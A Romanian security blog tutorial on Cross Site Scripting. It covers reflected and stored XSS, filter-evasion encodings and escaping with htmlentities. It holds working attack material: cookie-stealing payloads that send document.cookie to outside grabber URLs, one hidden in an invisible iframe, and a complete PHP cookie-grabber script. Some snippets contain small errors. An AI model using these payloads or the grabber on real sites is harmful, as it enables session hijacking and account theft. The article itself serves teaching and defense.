Despre Cross Site Scripting (XSS) - Securitatea Informatica

Despre Cross Site Scripting (XSS)

1. Cuvânt înainte

Acest articol este dedicat unei vulnerabilităţi web numită Cross Site Scripting. Exemplele întâlnite pe parcursul articolului sunt create în Cascading Style Sheet (CSS), HyperText Markup Language (HTML), Hypertext Preprocessor (PHP), JavaScript (JS) şi Visual Basic Script (VBScript).

2. Definiţie

Cross Site Scripting (prescurtat XSS) este o vulnerabilitate web ce permite utilizatorului să introducă un cod personal într-o pagină web. Acest cod poate afecta ceilalţi utilizatori ce vizualizează pagina infectată (vulnerabilitate client-side). Această vulnerabilitate este periculoasă doar atunci când codul se foloseşte de prăjiturele sau de sesiuni.

2.1 Despre prăjiturele (cookie-uri)

Un cookie este un text, de cele mai multe ori codificat, trimis de server unui navigator web. Acest navigator web preia prăjiturica şi o trimite nemodificată înapoi de fiecare dată când utilizatorul accesează serverul respectiv.

În ansamblu, un cookie poate fi privit ca o cheie ce te autentifică pe serverul respectiv. Cookie-urile sunt create de obicei după ce utilizatorul s-a autentificat pe un site.

După ce a furat un cookie de la victimă, atacatorul o poate folosi pentru a se autentifica pe site cu identitatea victimei. La prăjiturică se poate ajunge foarte uşor utilizând JavaScript.

De cele mai multe ori se foloseşte un cookie grabber pentru a fura aceste cookie-uri. Acaparatorul de prăjiturele este un script ce primeste cookie-urile victimelor prin GET şi le memorează într-o bază de date.

2.2 Tipuri de XSS

Există două tipuri de XSS cunoscute la ora actuală.

2.2.1 XSS nepersistent

XSS nepersistent (cunoscut şi ca XSS reflectat sau XSS temporar) este un XSS ce afectează utilizatorul doar dacă acesta accesează pagina infectată. Acest tip de XSS este cel mai des întâlnit.

Să luăm ca exemplu motorul de căutare al unui site. În unele cazuri, când nu găseşte ceea ce utilizatorul a cerut, afişează un mesaj de genul: <?php echo $_GET['q']; ?> nu a fost găsit. Data fiind faptul că afişează informaţia nefiltrată cerută de utilizator, se pot introduce diverse coduri pentru a infecta pagina.

2.2.2 XSS persistent

XSS persistent/memorat/permanent este un XSS ce este memorat de către site. Acest tip de XSS este cel mai periculos, deoarece codul este introdus o dată şi afectează utilizatorii atâta timp cât scriptul rămâne pe pagină.

Cel mai des, întâlnim XSS persistente în site-urile ce oferă ultimele căutări ale utilizatorilor.

3. Cum apare un XSS?

Un XSS apare atunci când codul nu este filtrat (sau este filtrat prost). De cele mai multe ori, un script citeşte o variabilă prin GET, apoi afişează valoarea acesteia în navigatorul web. Există şi XSS prin POST, dar e puţin mai greu de exploatat.

4. Exploatarea unui XSS prin GET

Să luăm ca exemplu următorul cod:

<form action="" method="GET">
<input type="text" value="" name="text">
<input type="submit" value="Caută">
</form>
<?php
echo stripslashes($_GET['text']);
?>

Acest cod de mai sus reprezintă un formular cu un chenar şi un buton. După ce scriem ceva în chenar şi apăsăm pe butonul Caută, formularul trimite informaţia către un cod PHP ce o preia sub forma pagină.php?text=InformaţieDinFormular şi o afişează.

Cum se poate exploata acest formular?

4.1 Introducerea unui cod JavaScript în formular

JavaScript este un limbaj de programare orientat pe obiecte. Este folosit pentru introducerea diferitelor funcţii într-o pagină web. JavaScript are avantajul că poate rula pe calculatorul utilizatorului, nefiind necesară o conexiune la Internet.

În formularul de mai sus, putem introduce orice cod JavaScript. Acest va fi executat imediat ce apăsăm pe butonul Caută. Spre exemplu, dacă introducem codul de mai jos în formular, navigatorul web va afişa un alertbox cu textul Mesaj.

<script language="JavaScript">alert("Mesaj")></script>

4.1.1 Cookie grabber (Acaparatorul de prăjiturele)

După cum am spus mai devreme, o prăjiturică poate fi furată utilizând un cookie grabber.

Pentru a putea fura prăjiturica, atacatorul trebuie să creeze un redirect către acaparatorul de prăjiturele. În acest caz putem utiliza document.location:

<script language="JavaScript">document.location="http://www.site.ro/acaparator/index.php?prajituricavictimei="+document.cookie;></script>

Acum, cum funcţionează acaparatorul? Simplu! Codul PHP preia informaţia din GET (în cazul de mai sus prajituricavictimei) şi o introduce într-o bază de date.

Un exemplu de cookie grabber pentru codul de mai sus:

<?php
/* Exemplu de acaparator de prăjiturele */
// Date de conectare MySQL
$host = 'localhost';
$nume = 'root';
$parola = 'password';
$bazadedate = 'database1';

// Conectare la baza de date
$connect = mysql_connect($host, $nume, $parola) or die(mysql_error());
mysql_select_db($bazadedate) or die(mysql_error());

// Preluarea informaţiei din GET
$prajiturica = $_GET['prajituricavictimei'];

// De unde a venit victima
$referer = $HTTP_REFERER;

// Structuri decizionale
if ($prajiturica == "") {
header( 'Location: http://www.google.ro/' ); // Dacă utilizatorul accesează pagina şi în GET nu este nimic, va fi redirecţionat către site-ul Google
}else{
mysql_query("INSERT INTO Cookies (Cookie, Link) VALUES ('$prajiturica','$referer')"); // Inserăm cookie-ul şi referer-ul în baza de date
mysql_close($connect); // Închidem conexiunea la baza de date
header( 'Location: http://www.google.ro/' ); // Redirecţionăm utilizatorul către site-ul Google
}
?>

Există şansa ca victima să observe că la legătură nu este totul OK, aşa că poate să nu intre pe link. Dar nu este nici o problemă! Putem folosi un iframe:

<iframe scr="http://site.com/script.php?text=<;script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script>" width="0" height="0">

4.2 Introducerea unui cod VBScript în formular

VBScript este un limbaj creat de Microsoft, ce stă la baza limbajului ASP. VBScript nu este executat decât pe navigatorul web Internet Explorer.

Pentru a afişa acelaşi alertbox ca mai sus vom scrie următorul cod în formular, după care apăsăm pe butonul Caută:

<script language="VBScript">MsgBox "Mesaj"</script>

4.3 Introducerea unui cod CSS în formular
CSS este folosit pentru formatarea documentelor HTML.

Avem mai jos codul CSS pentru a afişa alertbox-ul cu textul Mesaj (ca cele de mai sus).

<style type="text/css">body{background-image: url('javascript:alert("Mesaj");');}</style>

XSS folosind CSS este vechi şi nu mai funcţionează decât pe browserele vechi precum Internet Explorer 6.

4.4 Metode de a codifica scriptul personal

Există mai multe metode de a codifica scriptul personal introdus într-un formular vulnerabil. Voi prezenta mai jos trei metode cunoscute.

4.4.1 Sistem hexazecimal

Sistemul hexazecimal este un sistem de numeraţie în baza 16. Acesta utilizează cifrele hexazecimale 0-9 şi A-F.

Uneori, la introducerea unei informaţii într-un formular (de căutare, de logare etc.), scriptul verifică dacă informaţia introdusă conţine anumite string-uri precum “&lt;script&gt;”, “alert”, “document.location”, “window.location” sau altele.

Putem înlocui aceste şiruri de caractere cu valoarea lor în sistem hexazecimal. Funcţia PHP de mai jos transformă orice şir de caractere în sistem hexazecimal.

<?php
function codifica_hex($sir)
{
$hex='';
for ($i=0; $i < strlen($sir); $i++)
{
$hex .= dechex(ord($sir[$i]));
}
return $hex;
}
?>

4.4.2 Unicode

Unicode este un format pentru codificarea, stocarea şi interpretarea textelor pe suporturi informatice.

Este folosit la codificarea scripturilor JavaScript. Avem mai jos o funcţie JavaScript ce transformă şirul de caractere în Unicode utilizând charCodeAt.

<script type="JavaScript">
function codifica_Unicode(string)
{
if (string == "")
{
alert('String-ul nu poate ramane NULL')
}
else
{
syn = "String.fromCharCode("
for (i=0;i<string.length;i++)
{
inceput+=string.charCodeAt(i)+","
}
syn = syn.substring(0,syn.length-1)
syn += ")"
return syn;
}
}
</script>

4.4.3 Double Encoding (Dubla Codificare)

Această metodă constă în dubla codificare în sistem hexazecimal a codului personal, în scopul de a ocoli filtrele de securitate sau de a executa anumite comenzi.

Trecerea de filtrele de securitate se datorează serverului care decodifică informaţia o singură dată. Partea a doua a decodificării le revine platformelor backend sau modulelor care de obicei nu dispun de controale de securitate.

Această tehnică nu este folosită numai la XSS, ci şi la alte tipuri de atacuri web precum LFI şi RFI.

Să luăm ca exemplu următorul cod JavaScript

<script>alert("Mesaj")</script>

În primul rând, transformăm caracterele HTML în sistem hexazecimal.

%3Cscript%3Ealert%28%22Mesaj%22%29%3C%2Fscript%3E

Semnul pentru dubla codificare este %. În sistem hexazecimal este reprezentat prin %25. Aşa că adăugăm %25 la fiecare caracter HTML. Codul va fi următorul:

%253Cscript%253Ealert%2528%2522Mesaj%2522%2529%253C%252Fscript%253E

4.5 Alte moduri de a exploata un XSS

Există foarte multe metode de a exploata un XSS..

4.5.1 XSS utilizând eticheta IMG

<IMG SRC=javascript:alert("Mesaj")>
<IMG SRC=vbscript:msgbox("Mesaj")>

4.5.2 XSS importat din alt site

<SCRIPT SRC=http://www.site.ro/xss.js></SCRIPT>

Fişierul xss.js conţine:

alert ("Mesaj");

4.5.3 Etichete HTML malformate

<IMG src="""><SCRIPT>alert("Mesaj")</SCRIPT>">

5. Metode de a ne proteja de XSS

XSS poate fi reparat foarte uşor.

PHP ne oferă două funcţii care fac acelaşi lucru: htmlentities şi htmlspecialchars. Funcţiile acestea transformă caracterele speciale precum “<”, “>”, “&” şi ghilimelele în entităţi HTML. Astfel, browserul va returna textul, dar nu se va executa codul personal.

Spre exemplu, să adăugăm această funcţie la formularul de mai sus.

<form action="" method="GET">
<input type="text" value="" name="text">
<input type="submit" value="Caută">
</form>
<?php
echo htmlentities((stripslashes($_GET['text'])),  ENT_QUOTES);
?>

6. Final

În acest articol am discutat despre ce înseamnă un XSS, câte tipuri de XSS există, cum se exploatează un XSS şi cum să ne protejăm de XSS. Dacă aveţi întrebări, aştept un email la adresa specificată la începutul articolului.

Sursa: worldit.info

Twitter Digg Delicious Stumbleupon Technorati Facebook


Nici un comentariu inca... Fii primul care lasa un comentariu!

Lasa un raspuns

This site is protected by Comment SPAM Wiper. This site is protected by WP-CopyRightPro